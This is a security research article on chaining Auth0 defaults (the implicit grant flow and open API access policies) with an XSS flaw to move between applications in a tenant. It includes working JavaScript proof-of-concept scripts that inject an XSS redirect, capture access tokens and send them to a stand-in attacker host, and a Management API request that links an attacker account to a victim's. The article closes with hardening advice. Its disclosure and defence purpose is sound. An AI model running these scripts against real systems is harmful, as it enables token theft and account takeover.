Exploiting Auth0 Defaults in XSS Attacks

Introduction

Auth0 is a popular cloud-based identity and access management (IAM) platform that helps developers add authentication and authorisation to their applications, without building those systems from scratch. It provides flexible, developer-friendly APIs and SDKs for seamless integration across web, mobile, and backend applications.

However, this flexibility can introduce risk.

We identified two noteworthy default configurations within Auth0 that may be exploited to pivot across applications within an Auth0 tenant from a single XSS vulnerability. This article highlights that the insecure implicit grant flow is enabled by default in Auth0 Applications and demonstrates how it can be chained with other Auth0 misconfigurations to laterally move to other systems.

Environment Setup

In Auth0, Applications and APIs are core concepts that define how users authenticate and how resources are protected. An Auth0 Application represents a client that needs to authenticate users, which could be a web application, single-page application (SPA), mobile application or a machine-to-machine service. An Auth0 API represents a protected resource (typically a backend service) that requires valid access tokens.

In the example environment used in this article, there are two primary applications: an administrative SPA with a backend API accessible only to a single admin user, and a standard web application that contains a Cross-Site Scripting (XSS) vulnerability.

The vulnerable web application is protected using oauth2-proxy, which is configured to authenticate users via an Auth0 regular application using the Authorization Code Grant Flow.

The Admin SPA uses an Auth0 SPA Application and the Authorization Code Grant Flow with Proof Key for Code Exchange (PKCE) to retrieve an access token to interact with a backend API with an Auth0 audience value of https://admin.auth0-misconfig.local. The backend API only has a /admin endpoint, that validates the sub claim of the access token is the admin user, and is not accessible to other users.

The following diagram illustrates the environment setup, showing the interaction between the vulnerable web application (vuln.auth0-misconfig.local) and the admin application (admin.auth0-misconfig.local) with their corresponding Auth0 applications.

Implicit Grant Flow Enabled By Default on Auth0 Applications

With the example environment used in this article, the goal is to leverage the XSS vulnerability on vuln.auth0-misconfig.local to pivot to admin.auth0-misconfig.local and gain access to the /admin endpoint.

To achieve this, the XSS exploit vuln.auth0-misconfig.local would need to retrieve an access token with an audience for https://admin.auth0-misconfig.local.

Auth0 APIs can be protected by defining an access policy to restrict access to specific Auth0 Applications, but it is a common mistake to allow all applications within an Auth0 Tenant to have access, as shown in the screenshot below.

This misconfiguration exposes the API to all applications within the tenant, thereby increasing the attack surface. As a result, a single XSS vulnerability in any application could be leveraged to access the API, particularly if the backend does not validate the authorized party (azp) claim in the access token.

However, the vulnerable web application is protected using an authorization code flow, which requires a client secret when exchanging the authorization code for an access and ID token.

In addition, oauth2-proxy issues a session cookie upon successful authentication and does not expose the user's access token back to the user.

We have been able to bypass these restrictions by abusing the Implicit Grant Flow to leak the access token for a victim.

The Implicit Grant Flow is no longer recommended for retrieving access tokens, in part because tokens are exposed in the browser via the URL fragment.

Despite this, the insecure flow remains enabled by default in Auth0 applications, with the setting buried under Settings -> Advanced Settings -> Grant Types, as illustrated in the screenshot below.

The Implicit Grant Flow could be initiated using the /authorize endpoint on an Auth0 Authorization server setting the audience and the response_type=token parameters, as shown in the example authorize endpoint below.

${AUTH0_BASE_URL}/authorize?approval_prompt=none&client_id=${CLIENT_ID}&redirect_uri=${CALLBACK}&audience=${AUD}&response_type=id_token+token&scope=openid+email+profile&state=${STATE}&code_challenge_method=S256&nonce=${NONCE}

Because the oauth2-proxy and vulnerable web application share the same domain (vuln.auth0-misconfig.local), the Implicit Grant Flow could then be leveraged in a XSS attack by using either a iframe or opening a new window using window.open and waiting until to the OAuth callback back occurs to retrieve the access token from the URL fragment, as demonstrated in the following proof-of-concept scripts and the video below.

NOTE: The iframe proof-of-concept does not work on the Firefox browser.

iframe proof-of-concept script

const VULN_APP_URL = "https://vuln.auth0-misconfig.local";
const VULN_APP_CALLBACK = `${VULN_APP_URL}/oauth2/callback`;
const ATTACKER_BASE_URL = "http://hacker.local:1337";
const AUTH0_BASE_URL = "https://dev-6wpkzeqg2vedem1z.us.auth0.com";
const AUD = "https://admin.auth0-misconfig.local"
const CLIENT_ID = "nv8IQlFeS1uUlr5t1cB356hvgkaVjftR";

function generateRandomToken(length = 43) {
    const possibleChars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-._~";
    const array = new Uint8Array(length);
    crypto.getRandomValues(array);

    return Array.from(array, byte => possibleChars[byte % possibleChars.length]).join('');
}

function injectIframe(url) {
    let ifrm = document.createElement("iframe");
    ifrm.setAttribute("src", url);
    ifrm.setAttribute("id", 'test');
    document.body.appendChild(ifrm);
    return ifrm;
}

async function stealAccessToken(windowObj, timerRef) {
    let hash = windowObj?.contentDocument?.location?.hash
    if (hash.includes("access_token")) {
        clearInterval(timerRef);
        let queryParams = new URLSearchParams(windowObj?.contentDocument?.location?.hash)
        let accessToken = queryParams.get("#access_token")
		
		console.log(`access_token: ${accessToken}`);
		console.log("exfiltrating it to attacker server");
		fetch(`${ATTACKER_BASE_URL}/?exfil=${encodeURIComponent(accessToken)}`);
    }
}

async function exploit() {
    console.log("running oauth exploit run")

    const state = generateRandomToken();
    const nonce = generateRandomToken();
    const authUrl = `${AUTH0_BASE_URL}/authorize?approval_prompt=none&client_id=${CLIENT_ID}&redirect_uri=${VULN_APP_CALLBACK}&audience=${AUD}&response_type=id_token+token&scope=openid+email+profile&state=${state}&code_challenge_method=S256&nonce=${nonce}`

    console.log(`authUrl: ${authUrl}`);
    const jsRedirect = encodeURIComponent(`<img src=x onerror='window.location="${authUrl}";' />`)
    const exploitRedirect = `${VULN_APP_URL}/?xss=${jsRedirect}`
    console.log(`iframe src: ${exploitRedirect}`)
    const ifrm = injectIframe(exploitRedirect);

    console.log(authUrl)

    let timer = setInterval(() => stealAccessToken(ifrm, timer), 1);

    // fallback
    setTimeout(() => {
        clearInterval(timer);
    }, 5000);
}

(async function () {
    await exploit();
})();

window.open proof-of-concept script

const VULN_APP_URL = "https://vuln.auth0-misconfig.local";
const VULN_APP_CALLBACK = `${VULN_APP_URL}/oauth2/callback`;
const ATTACKER_BASE_URL = "http://hacker.local:1337";
const AUTH0_BASE_URL = "https://dev-6wpkzeqg2vedem1z.us.auth0.com";
const AUD = "https://admin.auth0-misconfig.local"
const CLIENT_ID = "nv8IQlFeS1uUlr5t1cB356hvgkaVjftR";

function generateRandomToken(length = 43) {
    const possibleChars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-._~";
    const array = new Uint8Array(length);
    crypto.getRandomValues(array);

    return Array.from(array, byte => possibleChars[byte % possibleChars.length]).join('');
}

function stealAccessToken(windowObj, timerRef) {
    try {
        let hash = windowObj?.location?.hash
        if (hash.includes("access_token")) {
            clearInterval(timerRef);
            let queryParams = new URLSearchParams(windowObj?.location?.hash)
            windowObj.close()
            let accessToken = queryParams.get("#access_token");
            let idToken = queryParams.get("id_token");
            
            console.log(`access_token: ${accessToken}`);
            console.log(`id_token: ${idToken}`);

            console.log("exfiltrating it to attacker server");
            fetch(`${ATTACKER_BASE_URL}/?accessToken=${encodeURIComponent(accessToken)}`);
        }
    } catch (error) {
        // do nothing
    }
}

function generateAuthorizeUrl() {
    const state = generateRandomToken();
    const nonce = generateRandomToken();
    const authUrl = `${AUTH0_BASE_URL}/authorize?approval_prompt=none&client_id=${CLIENT_ID}&redirect_uri=${VULN_APP_CALLBACK}&audience=${AUD}&response_type=id_token+token&scope=openid+email+profile&state=${state}&code_challenge_method=S256&nonce=${nonce}`

    console.log(`authUrl: ${authUrl}`);
    return authUrl;
}

function displayConsentScreen() {
    const authUrl = generateAuthorizeUrl();
    const authWindow = window.open(authUrl, "_blank");
    authWindow.focus();

    let timer = setInterval(() => stealAccessToken(authWindow, timer), 1);
}

function exploit() {
    document.body.innerHTML = "";
    let btn = document.createElement("button");
    btn.setAttribute("type", "button");
    btn.setAttribute("id", "trigger-consent");
    btn.innerText = "Click me";
    document.body.appendChild(btn);
    document.getElementById("trigger-consent").addEventListener("click", displayConsentScreen);
}

exploit();

Demonstrating the iframe proof-of-concept

Backdooring Accounts with the update:current_user_identities Auth0 Management API Scope

In the previous section, it was demonstrated how a misconfigured Auth0 API access policy, combined with the default-enabled Implicit Grant Flow, could be exploited via an XSS attack to pivot to other APIs within the same tenant. However, this attack would not be feasible if the API access policy is properly restricted to approved applications or if the backend enforces allowlist validation of the azp claim, as illustrated in the screenshot and code snippet below.

Restricted access policy that only allowed the Admin SPA Application to request the API as an audience.

const AUTHORIZED_PARTIES = [
    "1HvsYaPC64ejWGO8LxbddeCajOmUFBO7" // <1>
]

const ADMIN_SUBS = [
    "auth0|69cba90745b770470455234e"
]

app.use(express.static("static"));

const jwtCheck = auth({
  audience: 'https://admin.auth0-misconfig.local',
  issuerBaseURL: 'https://dev-6wpkzeqg2vedem1z.us.auth0.com/',
  tokenSigningAlg: 'RS256'
});

app.use(jwtCheck);

app.use(claimCheck((claims) => {
    return AUTHORIZED_PARTIES.includes(claims.azp ?? null) && ADMIN_SUBS.includes(claims.sub ?? null)
}, 'Only admins can access this API'));

① The client ID for the Admin SPA Auth0 application.

These restrictions may appear to prevent an attacker from leveraging an XSS vulnerability to pivot to other APIs. However, Auth0 provides a Management API system API that, by default, allows user access from all applications, as shown in the following screenshot.

The Auth0 Management API is primarily intended for system-level access to manage tenant configuration and users. However, it also supports limited user-level access when a user consents to scopes following the {action}:current_user_{resource} pattern. Of particular interest is the update:current_user_identities scope, which allows a user to link another Auth0 account using that account’s ID token, as demonstrated in the API request below.

POST /api/v2/users/{primary_user_sub}/identities HTTP/1.1
Host: {auth0_tenant_domain}
Authorization: Bearer {primary_user_access_token}
Accept: */*
Content-Type: application/json
Content-Length: 0
Connection: keep-alive

{
    "link_with": "{secondary_user_id_token}"
}

An XSS attack could be leveraged to socially engineer a victim into consenting to the sensitive update:current_user_identities scope, as the consent prompt would appear to originate from a trusted application. Once granted, the attacker could use the victim’s access token to link an attacker-controlled account to the victim’s account, thereby enabling unauthorised access.

This attack scenario is demonstrated in the following proof-of-concept script and video, where a user is prompted to approve additional scopes without being aware that their account would be linked to an attacker-controlled account.

Proof-of-concept script that requests the victim to approve the update:current_user_identities scope and then exfiltrates their access token using the implicit grant flow

const VULN_APP_URL = "https://vuln.auth0-misconfig.local";
const VULN_APP_CALLBACK = `${VULN_APP_URL}/oauth2/callback`;
const ATTACKER_BASE_URL = "http://hacker.local:1337";
const AUTH0_BASE_URL = "https://dev-6wpkzeqg2vedem1z.us.auth0.com";
const AUD = "https://dev-6wpkzeqg2vedem1z.us.auth0.com/api/v2/"
const CLIENT_ID = "nv8IQlFeS1uUlr5t1cB356hvgkaVjftR";

function generateRandomToken(length = 43) {
    const possibleChars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-._~";
    const array = new Uint8Array(length);
    crypto.getRandomValues(array);

    return Array.from(array, byte => possibleChars[byte % possibleChars.length]).join('');
}

function stealAccessToken(windowObj, timerRef) {
    try {
        let hash = windowObj?.location?.hash
        if (hash.includes("access_token")) {
            clearInterval(timerRef);
            let queryParams = new URLSearchParams(windowObj?.location?.hash)
            windowObj.close()
            let accessToken = queryParams.get("#access_token");
            let idToken = queryParams.get("id_token");
            
            console.log(`access_token: ${accessToken}`);
            console.log(`id_token: ${idToken}`);

            console.log("exfiltrating it to attacker server");
            fetch(`${ATTACKER_BASE_URL}/?accessToken=${encodeURIComponent(accessToken)}`);
        }
    } catch (error) {
        // do nothing
    }
}

function generateAuthorizeUrl() {
    const state = generateRandomToken();
    const nonce = generateRandomToken();
    const authUrl = `${AUTH0_BASE_URL}/authorize?approval_prompt=none&client_id=${CLIENT_ID}&redirect_uri=${VULN_APP_CALLBACK}&audience=${AUD}&response_type=id_token+token&scope=openid+email+profile+update:current_user_identities&state=${state}&code_challenge_method=S256&nonce=${nonce}`

    console.log(`authUrl: ${authUrl}`);
    return authUrl;
}

function displayConsentScreen() {
    const authUrl = generateAuthorizeUrl();
    const authWindow = window.open(authUrl, "_blank");
    authWindow.focus();

    let timer = setInterval(() => stealAccessToken(authWindow, timer), 1);
}

function exploit() {
    document.body.innerHTML = "";
    let btn = document.createElement("button");
    btn.setAttribute("type", "button");
    btn.setAttribute("id", "trigger-consent");
    btn.innerText = "Click to enable new Auth0 scopes";
    document.body.appendChild(btn);
    document.getElementById("trigger-consent").addEventListener("click", displayConsentScreen);
}

exploit();

Demonstration of the social engineering attack and linking an attacker controlled account.

Hardening Auth0 Configurations

To minimise the attack surface that an XSS attack could leverage on an Auth0 tenant, the following best practices should be implemented:

Disable the Implicit Grant Flow on Auth0 Applications

The OAuth Implicit Grant Flow should be disabled for all Auth0 applications, as it can be exploited to expose a user's access token in unintended contexts, as demonstrated in this article.

Although the flow is enabled by default on Auth0 applications, Auth0 discourages its use and provides the following post-login action to prevent access tokens from being exposed in URL fragments.

Post-login action to restrict the Implicit Grant Flow to only the form_post response mode.

exports.onExecutePostLogin = async (event, api) => {
  const responseType = event.request.query.response_type;
  // When response_mode is not set in the request, 
  // it defaults to the url fragment
  const responseMode = event.request.query.response_mode || 'url';

  // Implicit Grant without form_post is not allowed
  if((responseType && (responseType.includes('token') ||
       responseType.includes('id_token'))) && 
       (!responseMode || responseMode !== 'form_post')){
          api.session.revoke('Login is not allowed. Contact support.');
          console.log(`Application ${event.client.client_id} applies insecure grant:
                       response_type=${responseType} and 
                       response_mode=${responseMode}`);
       }
};

Restrict API Access Policies to Approved Applications

Auth0 API access policies should limit user access to only the intended applications. The screenshot below from this article demonstrates how the Admin API is restricted to allow access solely from the Admin SPA Application, preventing the Vulnerable Web Application from directly obtaining API access tokens.

As an additional security measure, backend APIs should validate that the azp claim in an access token corresponds to an approved Auth0 application.

Disable User Access to the Auth0 Management API

User access to the Auth0 Management API should be disabled, as shown in the screenshot below.

User profile and account linking should be handled by backend APIs/applications using machine-to-machine authentication.

When a user requests actions such as password changes or account linking, an additional authentication challenge should be required to mitigate the impact of an XSS vulnerability.

Conclusion

This article demonstrates how seemingly minor and often overlooked default configurations in Auth0 can be combined to create impactful attack chains. In particular, the presence of the enabled by default Implicit Grant Flow introduces a viable path for token exposure, which can be exploited in the context of an XSS vulnerability to access unintended resources.

Even in environments where best practices such as scoped API access policies and azp validation are implemented, an additional attack surface may persist through the Auth0 Management API. The ability to request sensitive user-level scopes, such as update:current_user_identities, further illustrates how attackers can escalate access and establish persistent account compromise through social engineering.

These findings reinforce the importance of a defence-in-depth approach when configuring identity platforms. Default settings should not be assumed secure, and all grant types, access policies, and exposed scopes should be explicitly reviewed and hardened. By disabling legacy flows, enforcing strict access controls, and limiting user-level access to sensitive APIs, organisations can significantly reduce the risk of lateral movement and account compromise within an Auth0 tenant.

‍